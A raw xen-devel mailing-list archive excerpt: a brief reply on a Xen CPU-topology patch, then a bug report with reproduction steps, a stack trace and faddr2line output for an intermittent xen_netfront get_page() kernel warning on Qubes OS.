 id 6a56aa09-bab6-0a2a0a5309dd-0a2a45018162-44
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 23:30:34 +0200
Received: from [52.101.125.86]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a56aa78-5984-0a2a45010019-34657d566cbf-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 23:30:34 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TY4P286MB6353.JPNP286.PROD.OUTLOOK.COM (2603:1096:405:335::11)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.20; Tue, 14 Jul
 2026 21:30:31 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0202.014; Tue, 14 Jul 2026
 21:30:31 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=B33iiX22fokPxM3CSagnFFDHU6PTWLYxNiDX/bseuVCJqvHczpUEVpac3O3uYwiCseNV///AEnqkkgBotFqDLgSWVIVMVSDwRHm2oz3+Y58rw1mL54OU1TP1FIf1/DwUFEy3D91w5TEC+tVIp3JNMLKIX/FFZ+pc4HaHYUJtcejD+e3OSNxF5T1Z7Vjg0ShygMXbS03fveKIRaDNbp8j2gxQdMnywCGKEpBPzSjNql/Bat7rD+7P7fWcTjGlspjG5luVDWC41uqFdBzDtcZn1FsA6E+dlSeztj6sPRu4wxFFA8BdOUBwb2wDNTbRm049Z0gxmdZHdbSb3WVKYAxOlg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=kOJvXg7cAAxmAm/Wbhg/4vVy+dTO6gUZT+sQlS+81Bc=;
 b=xhPIw3cwNsUdu6qRpB9ytcaZ54J94zahpA34D03Mhx4aw7CkDkMFcw3MzFuP88MxkZy9D2g9sdAI2w/F06rpHC+b0Z49Q0Wz9oiJIr9OiZP3aiBkNF8guAGDKhCvQqWfj5xoHIAgfvBLUwBPaU1XDwcocYVEWxs0WxNkiqe/YzOF1OJ12VRcEeieVOAmFH60QiLOiINI/v63ss1OXkplGPa8VSHHbR7saBZ2gCCduxOt05j/uaqV+nVktTvA8wsRLrqjEtAyj9Yrfaf9i4LHTaA6RtDj7hcqNomOh6T+QTP4u1LcTkULSau81pbF6qVjME3MCExFl4BdTryw7jnAZA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=kOJvXg7cAAxmAm/Wbhg/4vVy+dTO6gUZT+sQlS+81Bc=;
 b=jKj/Ec2/BpXFtfKDuYPprFj6LBRW2raCIJf2+heHybnqWT78PVZa20gws1jELTAgVgo8f+P6lTFHUZQM4MJ1IJxnsu5xofPhvxtP3y/VISInLcZJgvlCNz+L/v86RjsOR5P2AWDSwITRkv+zKNRy11xtWilCtF1apu+SJwuHUBQ=
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
CC: "Mykyta_Poturai@epam.com" <Mykyta_Poturai@epam.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>, Volodymyr
 Babchuk <Volodymyr_Babchuk@epam.com>, Andrew Cooper
	<andrew.cooper3@citrix.com>, Anthony PERARD <anthony.perard@vates.tech>, Jan
 Beulich <jbeulich@suse.com>, =?iso-8859-1?Q?Roger_Pau_Monn=E9?=
	<roger.pau@citrix.com>
Subject: RE: [PATCH v6 5/5] xen/acpi: Parse PPTT to initialize CPU topology
Thread-Topic: [PATCH v6 5/5] xen/acpi: Parse PPTT to initialize CPU topology
Thread-Index: AQHdE336EabuJxSEHUSo4bExE1f467ZthrLggAAB8dA=
Date: Tue, 14 Jul 2026 21:30:30 +0000
Message-ID:
 <OS9P286MB72222CC8A5C8B0E329F8A9B082F92@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
References: <20260714104445.919830-1-taka@valinux.co.jp>
 <20260714104445.919830-6-taka@valinux.co.jp>
 <OS9P286MB7222D458C3248E908695F2DB82F92@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
In-Reply-To:
 <OS9P286MB7222D458C3248E908695F2DB82F92@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
Accept-Language: ja-JP, en-US
Content-Language: ja-JP
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: OS9P286MB7222:EE_|TY4P286MB6353:EE_
x-ms-office365-filtering-correlation-id: 6dcf5efa-d190-4294-df4e-08dee1ef2195
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|7416014|376014|23010399003|1800799024|366016|4143699003|56012099006|18002099003|22082099003|38070700021;
x-microsoft-antispam-message-info:
 RcPeuhUsCYoN8MK8wNGXyCuvB5HrEwyUcLsYsKAYF0vlH0FmiHNChhHhS8JMdEuI/p6eaClRBHfNl7TYtTFllUBFbfgwJuBX4yhlrtJ39OMmT1xQWWTehn4Q5Sr2bGTMve0f6pWyxkTuBrnYPYQ3yxZNiV/pURozsqtbAU9o3uV53+osTssBgWC/N9j5aYk8++Yy80ANV5D0513iM3g5+xKOnOpxNBROmqOeI2HYNLbBTJMeaIY3q1riWdZAHG8CO4QMStDZGuzCg8YlzTME0nSKZNnX7Z1bE889lezy+ttbzKjSy/1QJuRerjA8wH6Dz/lz6q3unixtT5LUP2bIoF9VyJvLYaCPNsAT9Yf4/14b4tyWpmNPZIIIkJDH7lXZdf7Gp8fsjfUA18ilOtM8XBM3EO5GVGyHELnGGAwI+nGYBl6Q6qJ4wdQuByFKNmYUgTN3sBqDJpyZRgOpnl0WJiqYzyXplhI7nWtJGVGfo4/D7jc3hpYYkVfNy2dr6KhuJPGiOPhX6IZGAR9yVS9qJyzelF6/1tLHyapby0uu0dWo2tShtiVfV6j/KjkcU4fXkhGUpe9FVJXGJODZ7LADDudW5Sx26hRokwQxvqk0U0YJjF9uT7gW4FPPXsjbCp5phIVvWzNNvCWAomnBJeoX/DubJ/78m7rh5GWJisBgKNO9lgvaJh0tpMmehoqNjec5jMDFjG9qTT1T5n8CSV6GVg==
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:ja;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(7416014)(376014)(23010399003)(1800799024)(366016)(4143699003)(56012099006)(18002099003)(22082099003)(38070700021);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?iso-8859-1?Q?q7Dk/HnKYLhgGDBzhT7HawrGSPIB9Tg+LS/QDhcszXeSmY6zbMgVLsHzit?=
 =?iso-8859-1?Q?PILzW5R8aaus2BX6mTIx9LabOw9IximYw71tUI4lNL+wC71XejLzAKz9C4?=
 =?iso-8859-1?Q?pBUSSozzMmn1d/Q/BRVgWcBkJJ4zniQnlsyuhtsHMMzHPywY/0acHT/NNv?=
 =?iso-8859-1?Q?gOy74MzjnkDwrwCHguL/K7S2F47yFqmTHb7jPHufLxt1PdK8A3tBU0rsLU?=
 =?iso-8859-1?Q?p4T29v1K4vfnAdrvdR+VyvP1RNZUM0fnIg9GG6bpuC42lqQMOuUTxQ/BZq?=
 =?iso-8859-1?Q?VmYzjSYJj91p2wKPVI+AOopyesTusxdcqtk58WozZYNDCP8hruk6Q6OAxE?=
 =?iso-8859-1?Q?1GHsErvz1Y50yTovj/+E5HbRo75EdjAdLMgorPSa4TYagpwq71mLIyXBks?=
 =?iso-8859-1?Q?sTkjy2WosqAgslM6vmkR/GcKxN+UrlHAMseT3imT25xrVmFeBafqpSWZDA?=
 =?iso-8859-1?Q?ZWOc7PRV5xMFkmlToU2ni/QXi1V5eLzFkwEI5n0WRa3+xUvAfKZ/jiPb6C?=
 =?iso-8859-1?Q?41UrhTbfYHgUKyOB2x/7VOVK591AwPDpQ234ptujY50z1adva/o5brzDI6?=
 =?iso-8859-1?Q?kC0fYjACjwoX+BKJgXse9Njkyr/gLR+XVBMqvUc3YXPG6RhbH/notqXVQm?=
 =?iso-8859-1?Q?3X8AmfvjwszM+2itWnLV/8o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C1XxOWYkur?=
 =?iso-8859-1?Q?e2l5FcJa0yHe3T54v7Gs4H75mpV6HjvZtQ21rYBPWnfQymcJb7bNX+JnMj?=
 =?iso-8859-1?Q?nTt+8x7hGY3SW9UIkaU1/9Rqx9+6PGrEgkKiPd5ibkePUuwPieYoPi1GcA?=
 =?iso-8859-1?Q?aA4hCqgybO5T0w5AT9dM3vsF+RJs9xQ9c8k9YCaNuA4CUZG4VX/Bit896x?=
 =?iso-8859-1?Q?81TZ6eMHbwqRHIqeMfFTrsaKfYZsabr5FVPhHUj+rciX2q?=
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id: 6dcf5efa-d190-4294-df4e-08dee1ef2195
X-MS-Exchange-CrossTenant-originalarrivaltime: 14 Jul 2026 21:30:30.9781
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: 0tXYt5zQE4qQOD5Dvmz5v0kG6i3hWJfoRPxInfsG29Zo+o/Ys8z6saBmNw+4T3iBGOLjTpYO35qIy6bbfISA2A==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY4P286MB6353
X-purgate-ID: tlsNG-d62444/1784064634-BD67C757-42E678BF/0/0
X-purgate-type: clean
X-purgate-size: 898

Hello

> > diff --git a/xen/drivers/acpi/topology.c b/xen/drivers/acpi/topology.c
> > index 56fcfa4945..e6dea527a6 100644
> > --- a/xen/drivers/acpi/topology.c
> > +++ b/xen/drivers/acpi/topology.c
>=20
>=20
> >  int __init acpi_init_cpu_topology(void)
> >  {
> > +    acpi_status status;
> > +    struct acpi_table_header *table_header;
> > +    const struct acpi_table_pptt *pptt;
> > +    unsigned int num_sockets =3D 0;
> > +    unsigned int num_clusters =3D 0;
> > +    unsigned int num_cores =3D 0;
> > +    unsigned int *socket_map =3D xmalloc_array(unsigned int, nr_cpu_id=
s);
> > +    unsigned int *cluster_map =3D xmalloc_array(unsigned int, nr_cpu_i=
ds);
> > +    unsigned int *core_map =3D xmalloc_array(unsigned int, nr_cpu_ids)=
;
>=20
> These have to be xzmalloc_array().

xzalloc_array()

> I will fix it in v7.
=20
Thank you,
Hirokazu Takahashi.



From xen-devel-bounces@lists.xenproject.org Wed Jul 15 03:49:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 03:49:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362641.1614413 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjqce-0005mV-1x; Wed, 15 Jul 2026 03:49:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362641.1614413; Wed, 15 Jul 2026 03:49:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjqcd-0005mM-Sf; Wed, 15 Jul 2026 03:49:23 +0000
Received: by outflank-mailman (input) for mailman id 1362641;
 Wed, 15 Jul 2026 03:49:22 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <arraybolt3@gmail.com>) id 1wjqcc-0005mD-Br
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 03:49:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjqcb-00CN7Y-Ai
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 05:49:21 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <arraybolt3@gmail.com>)
 id 6a570326-bab6-0a2a0a5309dd-0a2a450b8f94-18
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 05:49:21 +0200
Received: from [209.85.167.179] (helo=mail-oi1-f179.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <arraybolt3@gmail.com>)
 id 6a570340-b7e8-0a2a450b0019-d155a7b3967c-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 05:49:21 +0200
Received: by mail-oi1-f179.google.com with SMTP id
 5614622812f47-4a450c8ddffso476153b6e.2
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 20:49:20 -0700 (PDT)
Received: from localhost ([172.59.75.218]) by smtp.gmail.com with ESMTPSA id
 46e09a7af769-7ebcafda2ffsm16467241a34.12.2026.07.14.20.49.17
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Tue, 14 Jul 2026 20:49:18 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Type:MIME-Version:Message-ID:Subject:Cc:To:From:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784087359; x=1784692159; darn=lists.xenproject.org;
        h=content-type:mime-version:message-id:subject:cc:to:from:date:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=3OMFFoZ6HDUY42qAv/zrklkuo0r18cHkV8oRHqawaN0=;
        b=j0QtaIK7UVCAVYS14VJW33uLSELfmHlbwrrX9fqEWpWZQL8kvukVE+MgUOoLKJoW4n
         A+5/j1WG8lRjQ/JkQkY/z+mt0klfUeLKI4+zNW+Pxq/d6S+WC0vy7+/nXeTdNRdb8i0q
         ptJgiNQweptLhuuT3Uyl2ygDfxHLwOrPmetJFVuA4xEULVRxbkeVKvZijOKQCNam8wMa
         4Yrxjm5QfBGIKvFCQ6St3SKOLp43fu8lGu6PeuJcZbxCtkq/yTGKVCBpGU+qJPEf9rN4
         SmhdFv6+OSofCxKrkwvm7pGuApoQvYzZwwmCArpC1+4u8h6C2D1/Mnd5T6duTasVdkLf
         2OIA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784087359; x=1784692159;
        h=content-type:mime-version:message-id:subject:cc:to:from:date
         :x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=3OMFFoZ6HDUY42qAv/zrklkuo0r18cHkV8oRHqawaN0=;
        b=CjXZAvwgnWDnTMvv4vHKgwd04uTjCx7rBcx9MAtUH3nySChMhQi+grtUWgSSxCBPQn
         0XPXy1YsySTJ4jJD9pkOtZyb5iBgnQ9sM34kG2L6diI845AR8nKQxXcCIqEy5EM93F/a
         CYC3GRFxEElDuAnlJmT/tXjuawM4dLdmKGru/63OY6KpBpu2vesRZWTk+whT1Fkn0akh
         +O8H12I/zRTvklRsaXVCUwFd5J4Hck4fpsy0HL4D5XIUbbZSISep4ziZ6Af9TN3zF5jP
         p7i4DD/9Uvdi15+baulf8CxwbxJmr6e++vL+aUOhAjhWDLfswwl3R1e+uahWQpTs9vDo
         K2PA==
X-Gm-Message-State: AOJu0YzYWEk/kOOBg+qYcBruWX3wBGhiG+AV0MUOdprbT2nUvluD4Lvn
	m3KOzYHJLxi7eHVbRNchQRFPaC7WXrvfq85zrEckKc6CTQHx23o8cPQkVAMmWg==
X-Gm-Gg: AfdE7clNUstcp6qj8D+TrSeGcPFf4n/xkJ7sKjROGof0OSYwqJJN0vm9nV1BUpE83LB
	PFETDEdbFI1CFiDD4d0ff1Q5LBJ2wuzfJiL8FR0aw90Q0+Czc5Wgz5ZnGpa5zBlDfxsoZWCRxwn
	WDgUERx8i8KO/w+QXMSw+37b3oNRqZoXjUcyMQgYD1nuHCVtDhyOpWjkOYZpXhSpzYYXubsExHy
	SHNHzCLdwFrurHwVujr3egLdX4b9KZSv/U7jVnnMjiXCBuL8b2zqxIlIDPpzz8mY2UN6gR3u8B/
	fS2FLCsxq6XWIW/4k2mqZ10OBhSkANDUhMeyARs5J6f1SW1x8z2iUOqrUEGYpZxiPw1pSc/Xwbl
	ZfPzYFWzrjVUXAyMdZ3BPd4XPCLC9YeHW0X03l/URl14bTnhf3QUTZ56vZK1YOkxeQkVqfPNg/q
	BoHOquLZ9LSWS2UV4WoR9+lspsdUjZ69uHJCtAGFY2
X-Received: by 2002:a05:6830:4110:b0:7eb:c7ac:29ef with SMTP id 46e09a7af769-7ec09625379mr6812059a34.2.1784087359278;
        Tue, 14 Jul 2026 20:49:19 -0700 (PDT)
Date: Tue, 14 Jul 2026 23:49:12 -0400
From: Aaron Rainbolt <arraybolt3@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: jgross@suse.com, linux-kernel@vger.kernel.org, linux-mm@kvack.org,
 marmarek@invisiblethingslab.com, adrelanos@whonix.org
Subject: Intermittent kernel WARN in mm.h get_page() when forcefully
 removing a xen_netfront interface from xenstore
Message-ID: <20260714234912.7a75536b@gmail.com>
X-Mailer: Claws Mail 4.4.0 (GTK 3.24.52; x86_64-redhat-linux-gnu)
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Sig_/eDubLtio8OFLSEEx0zCmBLW";
 protocol="application/pgp-signature"; micalg=pgp-sha512
X-purgate-ID: tlsNG-42698a/1784087361-AB8D19EA-27614C74/0/0
X-purgate-type: clean
X-purgate-size: 11496

--Sig_/eDubLtio8OFLSEEx0zCmBLW
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable

A user in the Qubes OS issue tracker reported that they could cause
kernel WARNs in some of their AppVMs when forcibly terminating a NetVM
that those AppVMs were connected to. [1] Typically, a message such as
`vif vif-0: xenbus: device forcefully removed from xenstore` appears,
then a "WARNING" appears immediately thereafter indicating an issue in
`xennet_disconnect_backend`, with the line of code throwing the warning
being somewhere in `include/linux/mm.h`. Originally it was thought that
the warning was simply normal behavior when a device is forcefully
removed, but it seemed very weird that memory management code would be
in charge of triggering that warning. Furthermore, I cannot reproduce
the issue reliably; for some users, it happens immediately after
shutting down the NetVM, whereas for me, I had to use multiple tricks
including pausing and unpausing a VM to trigger it. After some
fiddling, I was able to reproduce the issue using the latest stable
7.1.3 kernel:

1. On a Whonix-Workstation 18 AppVM (such as anon-whonix), build kernel
   7.1.3 using the steps from
   https://kernel-team.pages.debian.net/kernel-handbook/ch-common-tasks.htm=
l#s-common-size,
   ensuring that debug info is enabled. Use Debian's kernel config from
   the linux-base-7.1.3+deb14-amd64_7.1.3-1_amd64.deb package as the
   starting kernel config.
2. Install the new kernel into a cloned Whonix-Workstation 18 template.
3. Install pvgrub in dom0: `sudo qubes-dom0-update --action=3Dinstall
   grub2-xen-pvh`
4. Create a new AppVM named `anon-whonix-kerntest` based on this
   template.
5. Set the kernel for `anon-whonix-kerntest` to `pvgrub2-pvh`.
6. Start `anon-whonix-kerntest`.
7. Run `uname -r` in `anon-whonix-kerntest`, ensure that the kernel
   version displayed is 7.1.3.
8. Open a root QTerminal window in `anon-whonix-kerntest` by running
   the following in dom0: `qvm-run -u root anon-whonix-kerntest
   qterminal`.
9. In the root QTerminal window, run `sysctl kernel.warn_limit=3D5` to
   prevent an immediate kernel panic when the kernel warn occurs.
10. Open Tor Browser in `anon-whonix-kerntest`, and attempt to navigate
    to a fairly resource-intensive web page like Reddit's front page.
11. While the page is still loading, run `qvm-pause
    anon-whonix-kerntest` in dom0 to freeze the AppVM.
12. In dom0, run `qvm-kill sys-whonix`.
13. Wait a few seconds, then run `qvm-unpause anon-whonix-kerntest` to
    unfreeze the AppVM.
14. In the root QTerminal window of `anon-whonix-kerntest`, run `dmesg
    -w` to watch for kernel messages.
15. Wait a few seconds, then start `sys-whonix`. Qubes OS will reattach
    the network when this is done (there is the equivalent of `xl
    network-attach` done by the Qubes code automatically). The following
    messages should appear in dmesg:

    [  426.609004] vif vif-0: xenbus: device forcefully removed from xensto=
re
    [  426.609242] ------------[ cut here ]------------
    [  426.609254] WARNING: ./include/linux/mm.h:2097 at xennet_disconnect_=
backend+0x1c7/0x520 [xen_netfront], CPU#0: xenwatch/64
    [  426.609269] Modules linked in: snd_seq_dummy(E) snd_hrtimer(E) snd_s=
eq(E) snd_seq_device(E) snd_timer(E) snd(E) soundcore(E) cfg80211(E) nls_as=
cii(E) nls_cp437(E) vfat(E) fat(E) rfkill(E) xenfs(E) nft_reject_inet(E) nf=
_reject_ipv4(E) nf_reject_ipv6(E) nft_reject(E) nft_ct(E) nf_conntrack(E) n=
f_defrag_ipv6(E) nf_defrag_ipv4(E) nf_tables(E) binfmt_misc(E) intel_rapl_m=
sr(E) intel_rapl_common(E) intel_uncore_frequency_common(E) intel_pmc_ssram=
_telemetry(E) intel_vsec(E) aesni_intel(E) gf128mul(E) xen_netfront(E) xen_=
privcmd(E) xen_gntdev(E) xen_gntalloc(E) xen_blkback(E) drm(E) xen_evtchn(E=
) jitterentropy_rng(E) libsha3(E) loop(E) configfs(E) efi_pstore(E) nfnetli=
nk(E) ip_tables(E) x_tables(E) autofs4(E) ext4(E) crc16(E) mbcache(E) jbd2(=
E) dm_snapshot(E) dm_bufio(E) dm_mod(E) xen_blkfront(E)   =20
    [  426.609334] CPU: 0 UID: 0 PID: 64 Comm: xenwatch Tainted: G         =
   E       7.1.3 #5 PREEMPT(lazy)
    [  426.609340] Tainted: [E]=3DUNSIGNED_MODULE
    [  426.609343] RIP: 0010:xennet_disconnect_backend+0x1c7/0x520 [xen_net=
front]
    [  426.609349] Code: 94 dd a0 10 00 00 48 8b 4a 08 48 89 ce 83 e6 01 48=
 83 ee 01 48 09 f1 48 21 ca 0f b6 4a 33 81 f9 f5 00 00 00 0f 85 ea fe ff ff=
 <0f> 0b 49 81 ff 00 01 00 00 0f 82 f8 fe ff ff 4c 89 fe 48 c7 c7 e0   =20
    [  426.609352] RSP: 0018:ffffce3d810c3c98 EFLAGS: 00010246
    [  426.609356] RAX: 0000000000000010 RBX: 0000000000000000 RCX: 0000000=
0000000f5
    [  426.609358] RDX: fffffb0d80ca9800 RSI: 0000000000000000 RDI: fffffff=
f88c8a8a0
    [  426.609360] RBP: ffff8dec51df0000 R08: ffff8debf4dd5a80 R09: ffff8de=
bf4dd5a80
    [  426.609362] R10: 0000000000000020 R11: 00000000000000bf R12: 0000000=
000000000
    [  426.609364] R13: ffff8dec8ef30b80 R14: ffff8dec197fcac0 R15: 0000000=
000000000
    [  426.609366] FS:  0000000000000000(0000) GS:ffff8ded2d129000(0000) kn=
lGS:0000000000000000
    [  426.609369] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
    [  426.609370] CR2: 00005faa1a7d3737 CR3: 00000000b420a003 CR4: 0000000=
000770ef0
    [  426.609377] PKRU: 55555554
    [  426.609379] Call Trace:
    [  426.609384]  <TASK>
    [  426.609395]  xennet_remove+0x9f/0x380 [xen_netfront]
    [  426.609399]  ? kfree+0x26e/0x3d0
    [  426.609407]  xenbus_dev_remove+0x71/0x100
    [  426.609414]  device_release_driver_internal+0x19c/0x200
    [  426.609419]  bus_remove_device+0xe8/0x1c0
    [  426.609425]  ? device_remove_attrs+0xa1/0x100
    [  426.609430]  device_del+0x160/0x3e0
    [  426.609433]  ? __pfx_xenwatch_thread+0x10/0x10
    [  426.609436]  device_unregister+0x17/0x70
    [  426.609439]  xenbus_dev_changed.cold+0x3e/0x5b
    [  426.609445]  ? __pfx_xenwatch_thread+0x10/0x10
    [  426.609447]  xenwatch_thread+0x92/0x1c0
    [  426.609451]  ? __pfx_autoremove_wake_function+0x10/0x10
    [  426.609466]  kthread+0xe3/0x120
    [  426.609470]  ? __pfx_kthread+0x10/0x10
    [  426.609473]  ret_from_fork+0x2ba/0x340
    [  426.609478]  ? __pfx_kthread+0x10/0x10
    [  426.609480]  ret_from_fork_asm+0x1a/0x30
    [  426.609491]  </TASK>
    [  426.609493] ---[ end trace 0000000000000000 ]---

(Note that I have not been able to reproduce the issue reliably; these
steps worked for me once, but they may not work every time.)

`./include/linux/mm.h:2097` looks like this:

```
static inline void get_page(struct page *page)
{
	struct folio *folio =3D page_folio(page);
	if (WARN_ON_ONCE(folio_test_slab(folio))) /* <-- 2097 */
		return;
	if (WARN_ON_ONCE(folio_test_large_kmalloc(folio)))
		return;
	folio_get(folio);
}
```

Following the stack trace, all of these line numbers should be accurate
if working with an unmodified 7.1.3 kernel tree:

    $ scripts/faddr2line ./drivers/net/xen-netfront.ko xennet_disconnect_ba=
ckend+0x1c7/0x520
    xennet_disconnect_backend+0x1c7/0x520:
    get_page at /home/user/linux-7.1.3/./include/linux/mm.h:2097 (discrimin=
ator 1)
    (inlined by) xennet_release_tx_bufs at /home/user/linux-7.1.3/drivers/n=
et/xen-netfront.c:1435 (discriminator 1)
    (inlined by) xennet_disconnect_backend at /home/user/linux-7.1.3/driver=
s/net/xen-netfront.c:1839 (discriminator 1)

    $ scripts/faddr2line ./drivers/net/xen-netfront.ko xennet_remove+0x9f/0=
x380=20
    xennet_remove+0x9f/0x380:
    xennet_remove at /home/user/linux-7.1.3/drivers/net/xen-netfront.c:2664

    $ scripts/faddr2line ./vmlinux kfree+0x26e/0x3d0                       =
    =20
    kfree+0x26e/0x3d0:
    stat at mm/slub.c:383
    (inlined by) slab_free at mm/slub.c:6258
    (inlined by) kfree at mm/slub.c:6566

    $ scripts/faddr2line ./vmlinux xenbus_dev_remove+0x71/0x100
    xenbus_dev_remove+0x71/0x100:
    xenbus_dev_remove at drivers/xen/xenbus/xenbus_probe.c:353

    $ scripts/faddr2line ./vmlinux device_release_driver_internal+0x19c/0x2=
00
    device_release_driver_internal+0x19c/0x200:
    __device_release_driver at drivers/base/dd.c:1354
    (inlined by) device_release_driver_internal at drivers/base/dd.c:1375

    $ scripts/faddr2line ./vmlinux bus_remove_device+0xe8/0x1c0         =20
    bus_remove_device+0xe8/0x1c0:
    kset_put at include/linux/kobject.h:193
    (inlined by) subsys_put at drivers/base/base.h:74
    (inlined by) bus_remove_device at drivers/base/bus.c:671

    $ scripts/faddr2line ./vmlinux device_remove_attrs+0xa1/0x100       =20
    device_remove_attrs+0xa1/0x100:
    device_remove_attrs at drivers/base/core.c:2976

    $ scripts/faddr2line ./vmlinux device_del+0x160/0x3e0   =20
    device_del+0x160/0x3e0:
    device_del at drivers/base/core.c:3896

